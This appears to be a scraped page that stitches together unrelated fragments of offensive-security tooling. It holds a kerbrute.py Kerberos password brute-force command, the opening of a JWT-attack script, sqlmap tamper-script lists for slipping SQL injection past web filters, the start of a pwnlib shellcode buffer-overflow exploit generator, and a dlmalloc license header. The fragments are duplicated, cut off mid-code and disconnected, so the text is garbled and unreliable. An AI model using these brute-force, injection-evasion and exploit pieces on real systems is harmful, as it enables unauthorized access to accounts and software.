With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
| #!/usr/lib/env python3 | |
| # For more description with other attacks check out my BLOG ==> https://imparable.medium.com/attacking-json-web-tokens-jwts-d1d51a1e17cb | |
| import OpenSSL | |
| import base64 | |
| import json | |
| import hashlib | |
| import urllib |
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
| # All scripts | |
| ``` | |
| --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords | |
| ``` | |
| # General scripts | |
| ``` | |
| --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes | |
| ``` | |
| # Microsoft access | |
| ``` |
| #!/usr/bin/python2 | |
| import argparse | |
| from itertools import ifilter | |
| import pwnlib | |
| def generate_shellcode_exploit(eip_offset, esp, nopsled_size, custom_shellcode): | |
| shellcode = custom_shellcode if custom_shellcode else ( | |
| '\xeb\x0b\x5b\x31' |
| /* | |
| This is a version (aka dlmalloc) of malloc/free/realloc written by | |
| Doug Lea and released to the public domain, as explained at | |
| http://creativecommons.org/licenses/publicdomain. Send questions, | |
| comments, complaints, performance data, etc to [email protected] | |
| * Version 2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee) | |
| Note: There may be an updated version of this malloc obtainable at | |
| ftp://gee.cs.oswego.edu/pub/misc/malloc.c |